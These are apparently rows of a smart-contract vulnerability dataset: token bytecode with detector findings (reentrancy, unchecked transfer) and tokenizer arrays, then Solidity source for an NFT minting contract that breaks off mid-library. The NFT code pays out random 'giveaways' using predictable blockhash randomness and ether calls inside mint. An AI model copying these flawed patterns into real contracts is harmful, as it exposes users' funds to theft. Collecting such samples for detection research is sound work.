3565b34801561042357600080fd5b50600b546103bd565b34801561043857600080fd5b5061039c610447366004612e23565b610b56565b34801561045857600080fd5b5061032f610467366004612d89565b610bbf565b34801561047857600080fd5b5061032f610487366004612d6c565b610c6d565b34801561049857600080fd5b506103bd6104a7366004612d89565b610cbb565b3480156104b857600080fd5b50600a5461039c90610100900460ff1681565b3480156104d757600080fd5b5060115460405160ff9091168152602001610373565b3480156104f957600080fd5b5061032f610508366004612d6c565b610d3f565b34801561051957600080fd5b5061039c610528366004612df7565b610ef6565b34801561053957600080fd5b5061032f610548366004612e64565b610f2c565b34801561055957600080fd5b506103bd60125481565b34801561056f57600080fd5b5061032f61057e366004612d89565b61105a565b34801561058f57600080fd5b5061032f61059e366004612d6c565b611144565b3480156105af57600080fd5b506103bd6105be366004612eab565b611192565b3480156105cf57600080fd5b5061032f61121f565b3480156105e457600080fd5b506103ff7f000000000000000000000000138fa87436e1e1f68ea5903dd0ee8ed834e42dd781565b34801561061857600080fd5b5060165461039c90610100900460ff1681565b34801561063757600080fd5b5061032f610646366004612d6c565b611285565b34801561065757600080fd5b5061039c610666366004612d6c565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561069057600080fd5b5061032f61069f366004612d6c565b6113d8565b3480156106b057600080fd5b5061039c6106bf366004612d6c565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156106e957600080fd5b506103bd60145481565b3480156106ff57600080fd5b506103bd61070e366004612d6c565b611424565b34801561071f57600080fd5b5061032f611483565b34801561073457600080fd5b50600e546103ff906001600160a01b031681565b34801561075457600080fd5b5061032f610763366004612d6c565b6114e5565b34801561077457600080fd5b506103bd60175481565b34801561078a57600080fd5b5061039c610799366004612d6c565b6001600160a01b031660009081526007602052604090205460ff1690565b3480156107c357600080fd5b5061032f6107d2366004612df7565b611544565b3480156107e357600080fd5b506000546001600160a01b03166103ff565b34801561080157600080fd5b5061032f610810366004612d89565b61159f565b34801561082157600080fd5b506103666115ce565b34801561083657600080fd5b5061039c610845366004612df7565b6115dd565b34801561085657600080fd5b5061032f61162c565b34801561086b57600080fd5b5061032f611667565b34801561088057600080fd5b5061039c61088f366004612df7565b61176d565b3480156108a057600080fd5b506002546103bd565b3480156108b557600080fd5b5061032f6108c4366004612ed0565b61177a565b3480156108d557600080fd5b506103bd60185481565b3480156108eb57600080fd5b5061032f6108fa366004612f39565b6117f8565b34801561090b57600080fd5b5061032f61091a366004612d89565b6118eb565b34801561092b57600080fd5b506103bd61093a366004612e64565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561097157600080fd5b5061032f611970565b34801561098657600080fd5b5061032f610995366004612d6c565b6119ae565b3480156109a657600080fd5b5061032f6109b5366004612d89565b6119f9565b3480156109c657600080fd5b5061032f6109d5366004612d6c565b611a9f565b6000546001600160a01b03163314610a0d5760405162461bcd60e51b8152600401610a0490612fa5565b60405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b6000546001600160a01b03163314610a585760405162461bcd60e51b8152600401610a0490612fa5565b600a8110610aa85760405162461bcd60e51b815260206004820152601f60248201527f546178206665652063616e6e6f74206265206d6f7265207468616e20313025006044820152606401610a04565b601255565b6060600f8054610abc90612fda565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae890612fda565b8015610b355780601f10610b0a57610100808354040283529160200191610b35565b820191906000526020600020905b815481529060010190602001808311610b1857829003601f168201915b5050505050905090565b6000610b4c338484611b77565b5060015b92915050565b6000610b63848484611c9b565b610bb58433610bb0856040518060600160405280602881526020016131d5602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611f4c565b611b77565b5060019392505050565b6000546001600160a01b03163314610be95760405162461bcd60e51b8152600401610a0490612fa5565b63041cdb408111610c595760405162461bcd60e51b815260206004820152603460248201527f53776170205468726573686f6c6420416d6f756e742063616e6e6f74206265206044820152733632b9b9903a3430b7101b1c9026b4b63634b7b760611b6064820152608401610a04565b610c6781633b9aca0061302b565b60185550565b6000546001600160a01b03163314610c975760405162461bcd60e51b8152600401610a0490612fa5565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000600c54821115610d225760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610a04565b6000610d2c611f86565b9050610d388382611fa9565b9392505050565b6000546001600160a01b03163314610d695760405162461bcd60e51b8152600401610a0490612fa5565b6001600160a01b03811660009081526007602052604090205460ff16610dd15760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610a04565b60005b600854811015610ef257816001600160a01b031660088281548110610dfb57610dfb61304a565b6000918252602090912001546001600160a01b03161415610ee05760088054610e2690600190613060565b81548110610e3657610e3661304a565b600091825260209091200154600880546001600160a01b039092169183908110610e6257610e6261304a565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610eba57610eba613077565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610eea8161308d565b915050610dd4565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610b4c918590610bb09086611feb565b6000546001600160a01b03163314610f565760405162461bcd60e51b8152600401610a0490612fa5565b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a082319060240160206040518083038186803b158015610f9f57600080fd5b505afa158015610fb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd791906130a8565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561101d57600080fd5b505af1158015611031573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105591906130c1565b505050565b3360008181526007602052604090205460ff16156110cf5760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610a04565b60006110da8361204a565b505050506001600160a01b03841660009081526003602052604090205491925061110691905082612099565b6001600160a01b038316600090815260036020526040902055600c5461112c9082612099565b600c55600d5461113c9084611feb565b600d55505050565b6000546001600160a01b0316331461116e5760405162461bcd60e51b8152600401610a0490612fa5565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600b548311156111e65760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610a04565b816112055760006111f68461204a565b50939550610b50945050505050565b60006112108461204a565b50929550610b50945050505050565b6000546001600160a01b031633146112495760405162461bcd60e51b8152600401610a0490612fa5565b600e546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611282573d6000803e3d6000fd5b50565b6000546001600160a01b031633146112af5760405162461bcd60e51b8152600401610a0490612fa5565b6001600160a01b03811660009081526007602052604090205460ff16156113185760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610a04565b6001600160a01b03811660009081526003602052604090205415611372576001600160a01b03811660009081526003602052604090205461135890610cbb565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b031633146114025760405162461bcd60e51b8152600401610a0490612fa5565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03811660009081526007602052604081205460ff161561146157506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610b5090610cbb565b6000546001600160a01b031633146114ad5760405162461bcd60e51b8152600401610a0490612fa5565b600080546040516001600160a01b03909116906000805160206131fd833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461150f5760405162461bcd60e51b8152600401610a0490612fa5565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610ef2573d6000803e3d6000fd5b6000546001600160a01b0316331461156e5760405162461bcd60e51b8152600401610a0490612fa5565b6115766120db565b61158e338361158984633b9aca0061302b565b611c9b565b610ef2601354601255601554601455565b6000546001600160a01b031633146115c95760405162461bcd60e51b8152600401610a0490612fa5565b601455565b606060108054610abc90612fda565b6000610b4c3384610bb08560405180606001604052806025815260200161321d602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611f4c565b6000546001600160a01b031633146116565760405162461bcd60e51b8152600401610a0490612fa5565b600a805461ff001916610100179055565b6001546001600160a01b031633146116cd5760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610a04565b600254421161171e5760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610a04565b600154600080546040516001600160a01b0393841693909116916000805160206131fd83398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610b4c338484611c9b565b6000546001600160a01b031633146117a45760405162461bcd60e51b8152600401610a0490612fa5565b601680548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906117ed90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146118225760405162461bcd60e51b8152600401610a0490612fa5565b60008382146118735760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e6774680000000000000000006044820152606401610a04565b838110156118e4576118d28585838181106118905761189061304a565b90506020020160208101906118a59190612d6c565b8484848181106118b7576118b761304a565b90506020020135633b9aca006118cd919061302b565b612109565b6118dd6001826130de565b9050611873565b5050505050565b6000546001600160a01b031633146119155760405162461bcd60e51b8152600401610a0490612fa5565b60008054600180546001600160a01b03199081166001600160a01b0384161790915516905561194481426130de565b600255600080546040516001600160a01b03909116906000805160206131fd833981519152908390a350565b6000546001600160a01b0316331461199a5760405162461bcd60e51b8152600401610a0490612fa5565b6d0366e7064422fd84202340000000601755565b6000546001600160a01b031633146119d85760405162461bcd60e51b8152600401610a0490612fa5565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b03163314611a235760405162461bcd60e51b8152600401610a0490612fa5565b63041cdb408111611a8b5760405162461bcd60e51b815260206004820152602c60248201527f4d617820547820416d6f756e742063616e6e6f74206265206c6573732074686160448201526b37101b1c9026b4b63634b7b760a11b6064820152608401610a04565b611a9981633b9aca0061302b565b60175550565b6000546001600160a01b03163314611ac95760405162461bcd60e51b8152600401610a0490612fa5565b6001600160a01b038116611b2e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a04565b600080546040516001600160a01b03808516939216916000805160206131fd83398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611bd95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a04565b6001600160a01b038216611c3a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a04565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611cff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a04565b6001600160a01b038216611d615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a04565b60008111611dc35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610a04565b6000546001600160a01b03848116911614801590611def57506000546001600160a01b03838116911614155b15611e5757601754811115611e575760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a04565b6000611e6230611424565b90506017548110611e7257506017545b60185481108015908190611e89575060165460ff16155b8015611ec757507f000000000000000000000000138fa87436e1e1f68ea5903dd0ee8ed834e42dd76001600160a01b0316856001600160a01b031614155b8015611eda5750601654610100900460ff165b15611eed576018549150611eed8261211c565b6001600160a01b03851660009081526006602052604090205460019060ff1680611f2f57506001600160a01b03851660009081526006602052604090205460ff165b15611f38575060005b611f448686868461221b565b505050505050565b60008184841115611f705760405162461bcd60e51b8152600401610a049190612da2565b506000611f7d8486613060565b95945050505050565b6000806000611f93612457565b9092509050611fa28282611fa9565b9250505090565b6000610d3883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125d9565b600080611ff883856130de565b905083811015610d385760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a04565b60008060008060008060008060006120618a612607565b925092509250600080600061207f8d868661207a611f86565b612649565b919f909e50909c50959a5093985091965092945050505050565b6000610d3883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f4c565b6012541580156120eb5750601454155b156120f257565b601280546013556014805460155560009182905555565b6121116120db565b61158e338383611c9b565b6016805460ff191660011790556000612136826002611fa9565b905060006121448383612099565b90504761215083612699565b600061215c4783612099565b905060006121766064612170846050612860565b90611fa9565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f193505050501580156121b1573d6000803e3d6000fd5b506121bc8183613060565b91506121c884836128df565b60408051868152602081018490529081018590527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506016805460ff1916905550505050565b600a54610100900460ff16612244576000546001600160a01b0385811691161461224457600080fd5b6001600160a01b03841660009081526009602052604090205460ff168061228357506001600160a01b03831660009081526009602052604090205460ff165b156122da57600a5460ff166122da5760405162461bcd60e51b815260206004820152601b60248201527f626f7473206172656e7420616c6c6f77656420746f20747261646500000000006044820152606401610a04565b806122e7576122e76120db565b6001600160a01b03841660009081526007602052604090205460ff16801561232857506001600160a01b03831660009081526007602052604090205460ff16155b1561233d576123388484846129ed565b61243b565b6001600160a01b03841660009081526007602052604090205460ff1615801561237e57506001600160a01b03831660009081526007602052604090205460ff165b1561238e57612338848484612b13565b6001600160a01b03841660009081526007602052604090205460ff161580156123d057506001600160a01b03831660009081526007602052604090205460ff16155b156123e057612338848484612bbc565b6001600160a01b03841660009081526007602052604090205460ff16801561242057506001600160a01b03831660009081526007602052604090205460ff165b1561243057612338848484612c00565b61243b848484612bbc565b8061245157612451601354601255601554601455565b50505050565b600c54600b546000918291825b6008548110156125a9578260036000600884815481106124865761248661304a565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806124f157508160046000600884815481106124ca576124ca61304a565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561250757600c54600b54945094505050509091565b61254d60036000600884815481106125215761252161304a565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612099565b925061259560046000600884815481106125695761256961304a565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612099565b9150806125a18161308d565b915050612464565b50600b54600c546125b991611fa9565b8210156125d057600c54600b549350935050509091565b90939092509050565b600081836125fa5760405162461bcd60e51b8152600401610a049190612da2565b506000611f7d84866130f6565b60008060008061261685612c73565b9050600061262386612c8f565b9050600061263b826126358986612099565b90612099565b979296509094509092505050565b60008080806126588886612860565b905060006126668887612860565b905060006126748888612860565b90506000612686826126358686612099565b939b939a50919850919650505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106126ce576126ce61304a565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561274757600080fd5b505afa15801561275b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061277f9190613118565b816001815181106127925761279261304a565b60200260200101906001600160a01b031690816001600160a01b0316815250506127dd307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611b77565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612832908590600090869030904290600401613135565b600060405180830381600087803b15801561284c57600080fd5b505af1158015611f44573d6000803e3d6000fd5b60008261286f57506000610b50565b600061287b838561302b565b90508261288885836130f6565b14610d385760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a04565b61290a307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611b77565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806129516000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156129b457600080fd5b505af11580156129c8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118e491906131a6565b6000806000806000806129ff8761204a565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612a319088612099565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612a609087612099565b6001600160a01b03808b1660009081526003602052604080822093909355908a1681522054612a8f9086611feb565b6001600160a01b038916600090815260036020526040902055612ab181612cab565b612abb8483612d33565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b0091815260200190565b60405180910390a3505050505050505050565b600080600080600080612b258761204a565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612b579087612099565b6001600160a01b03808b16600090815260036020908152604080832094909455918b16815260049091522054612b8d9084611feb565b6001600160a01b038916600090815260046020908152604080832093909355600390522054612a8f9086611feb565b600080600080600080612bce8761204a565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612a609087612099565b600080600080600080612c128761204a565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612c449088612099565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612b579087612099565b6000610b5060646121706012548561286090919063ffffffff16565b6000610b5060646121706014548561286090919063ffffffff16565b6000612cb5611f86565b90506000612cc38383612860565b30600090815260036020526040902054909150612ce09082611feb565b3060009081526003602090815260408083209390935560079052205460ff16156110555730600090815260046020526040902054612d1e9084611feb565b30600090815260046020526040902055505050565b600c54612d409083612099565b600c55600d54612d509082611feb565b600d555050565b6001600160a01b038116811461128257600080fd5b600060208284031215612d7e57600080fd5b8135610d3881612d57565b600060208284031215612d9b57600080fd5b5035919050565b600060208083528351808285015260005b81811015612dcf57858101830151858201604001528201612db3565b81811115612de1576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215612e0a57600080fd5b8235612e1581612d57565b946020939093013593505050565b600080600060608486031215612e3857600080fd5b8335612e4381612d57565b92506020840135612e5381612d57565b929592945050506040919091013590565b60008060408385031215612e7757600080fd5b8235612e8281612d57565b91506020830135612e9281612d57565b809150509250929050565b801515811461128257600080fd5b60008060408385031215612ebe57600080fd5b823591506020830135612e9281612e9d565b600060208284031215612ee257600080fd5b8135610d3881612e9d565b60008083601f840112612eff57600080fd5b50813567ffffffffffffffff811115612f1757600080fd5b6020830191508360208260051b8501011115612f3257600080fd5b9250929050565b60008060008060408587031215612f4f57600080fd5b843567ffffffffffffffff80821115612f6757600080fd5b612f7388838901612eed565b90965094506020870135915080821115612f8c57600080fd5b50612f9987828801612eed565b95989497509550505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680612fee57607f821691505b6020821081141561300f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561304557613045613015565b500290565b634e487b7160e01b600052603260045260246000fd5b60008282101561307257613072613015565b500390565b634e487b7160e01b600052603160045260246000fd5b60006000198214156130a1576130a1613015565b5060010190565b6000602082840312156130ba57600080fd5b5051919050565b6000602082840312156130d357600080fd5b8151610d3881612e9d565b600082198211156130f1576130f1613015565b500190565b60008261311357634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561312a57600080fd5b8151610d3881612d57565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156131855784516001600160a01b031683529383019391830191600101613160565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156131bb57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200c7440b46f9ad8a8c2c63cf7a96f986ba67d04f2a1e4773efd0266bb55240cbd64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2094, 20958, 2094, 2692, 4402, 2620, 2278, 2581, 2575, 2050, 22407, 2581, 2620, 21926, 2278, 2549, 3540, 2620, 16068, 2692, 2581, 2575, 2278, 2475, 2497, 2581, 2620, 9468, 2692, 6679, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 5511, 1008, 1013, 1013, 1008, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 5612, 19699, 6340, 16168, 15558, 2232, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,459
0x96d4D76505E524B1e3Dd5Bc0262d02fF4b0EB2c3
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "./@rarible/royalties/contracts/impl/RoyaltiesV2Impl.sol"; import "./@rarible/royalties/contracts/LibRoyaltiesV2.sol"; import "./@rarible/royalties/contracts/LibRoyalties2981.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract Stonedbabies is ERC721, ERC721Enumerable, Ownable, RoyaltiesV2Impl { using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.1 ether; uint256 public maxSupply = 6666; bool public revealed = false; bool public paused = true; string public notRevealedUri; constructor(string memory _initBaseURI, string memory _initNotRevealedUri) ERC721("Stonedbabies", "SB") { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if (revealed == false) { return notRevealedUri; } return bytes(_baseURI()).length > 0 ? string(abi.encodePacked(_baseURI(), Strings.toString(tokenId), baseExtension)) : ""; } function _baseURI() internal view override returns (string memory) { return baseURI; } function mint(uint256 _mintAmount) public payable { require(_mintAmount > 0, "Mint amount must be greater than 0"); require(!paused, "Minting is paused"); require(totalSupply() + _mintAmount <= maxSupply, "All NFTs have been minted"); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount, "Insufficient funds to mint"); } for (uint256 i = 1; i <= _mintAmount; i++) { _tokenIdCounter.increment(); uint256 tokenId = _tokenIdCounter.current(); _safeMint(msg.sender, tokenId); setRoyalties(tokenId, payable(owner()), 1000); } if (totalSupply() == 500) { giveaway(2 ether); } else if (totalSupply() == 1000) { giveaway(3 ether); } else if (totalSupply() == 1500) { giveaway(3.5 ether); } else if (totalSupply() == 2000) { giveaway(4 ether); } else if (totalSupply() == 3000) { giveaway(5 ether); } else if (totalSupply() == 4000) { giveaway(5 ether); } else if (totalSupply() == 5000) { giveaway(6 ether); } else if (totalSupply() == 6666) { giveaway(8 ether); } } function setRoyalties(uint256 _tokenId, address payable _royaltiesRecipientAddress, uint96 _percentageBasisPoints) internal { LibPart.Part[] memory _royalties = new LibPart.Part[](1); _royalties[0].account = _royaltiesRecipientAddress; _royalties[0].value = _percentageBasisPoints; _saveRoyalties(_tokenId, _royalties); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { if (interfaceId == LibRoyaltiesV2._INTERFACE_ID_ROYALTIES) { return true; } if (interfaceId == LibRoyalties2981._INTERFACE_ID_ROYALTIES) { return true; } return super.supportsInterface(interfaceId); } function pause(bool _state) public onlyOwner { paused = _state; } function reveal() public onlyOwner { revealed = true; } function withdraw() public payable onlyOwner { (bool success, ) = payable(owner()).call{value: address(this).balance}(""); require(success, "Transfer failed."); } function giveaway(uint256 amount) internal { uint256 winnerIndex = createRandomNumber(totalSupply() + 1); (bool success, ) = payable(ownerOf(winnerIndex)).call{value: amount}(""); require(success, "Giveaway transfer failed."); } function createRandomNumber(uint256 number) internal view returns (uint256) { return uint256(blockhash(block.number - 1)) % number; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./AbstractRoyalties.sol"; import "../RoyaltiesV2.sol"; import "../IERC2981.sol"; import "../LibRoyalties2981.sol"; contract RoyaltiesV2Impl is AbstractRoyalties, RoyaltiesV2, IERC2981 { function getRaribleV2Royalties(uint256 id) override external view returns (LibPart.Part[] memory) { return royalties[id]; } function _onRoyaltiesSet(uint256 id, LibPart.Part[] memory _royalties) override internal { emit RoyaltiesSet(id, _royalties); } /* *Token (ERC721, ERC721Minimal, ERC721MinimalMeta, ERC1155 ) can have a number of different royalties beneficiaries *calculate sum all royalties, but royalties beneficiary will be only one royalties[0].account, according to rules of IERC2981 */ function royaltyInfo(uint256 id, uint256 _salePrice) override external view returns (address receiver, uint256 royaltyAmount) { if (royalties[id].length == 0) { receiver = address(0); royaltyAmount = 0; return(receiver, royaltyAmount); } LibPart.Part[] memory _royalties = royalties[id]; receiver = _royalties[0].account; uint percent; for (uint i = 0; i < _royalties.length; i++) { percent += _royalties[i].value; } //don`t need require(percent < 10000, "Token royalty > 100%"); here, because check later in calculateRoyalties royaltyAmount = percent * _salePrice / 10000; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../LibPart.sol"; abstract contract AbstractRoyalties { mapping (uint256 => LibPart.Part[]) internal royalties; function _saveRoyalties(uint256 id, LibPart.Part[] memory _royalties) internal { uint256 totalValue; for (uint i = 0; i < _royalties.length; i++) { require(_royalties[i].account != address(0x0), "Recipient should be present"); require(_royalties[i].value != 0, "Royalty value should be positive"); totalValue += _royalties[i].value; royalties[id].push(_royalties[i]); } require(totalValue < 10000, "Royalty total value should be < 10000"); _onRoyaltiesSet(id, _royalties); } function _updateAccount(uint256 _id, address _from, address _to) internal { uint length = royalties[_id].length; for(uint i = 0; i < length; i++) { if (royalties[_id][i].account == _from) { royalties[_id][i].account = payable(address(uint160(_to))); } } } function _onRoyaltiesSet(uint256 id, LibPart.Part[] memory _royalties) virtual internal; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "./LibPart.sol"; interface RoyaltiesV2 { event RoyaltiesSet(uint256 tokenId, LibPart.Part[] royalties); function getRaribleV2Royalties(uint256 id) external view returns (LibPart.Part[] memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library LibRoyaltiesV2 { /* * bytes4(keccak256('getRaribleV2Royalties(uint256)')) == 0xcad96cca */ bytes4 constant _INTERFACE_ID_ROYALTIES = 0xcad96cca; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./LibPart.sol"; library LibRoyalties2981 { /* * https://eips.ethereum.org/EIPS/eip-2981: bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a; */ bytes4 constant _INTERFACE_ID_ROYALTIES = 0x2a55205a; uint96 constant _WEIGHT_VALUE = 1000000; /*Method for converting amount to percent and forming LibPart*/ function calculateRoyalties(address to, uint256 amount) internal view returns (LibPart.Part[] memory) { LibPart.Part[] memory result; if (amount == 0) { return 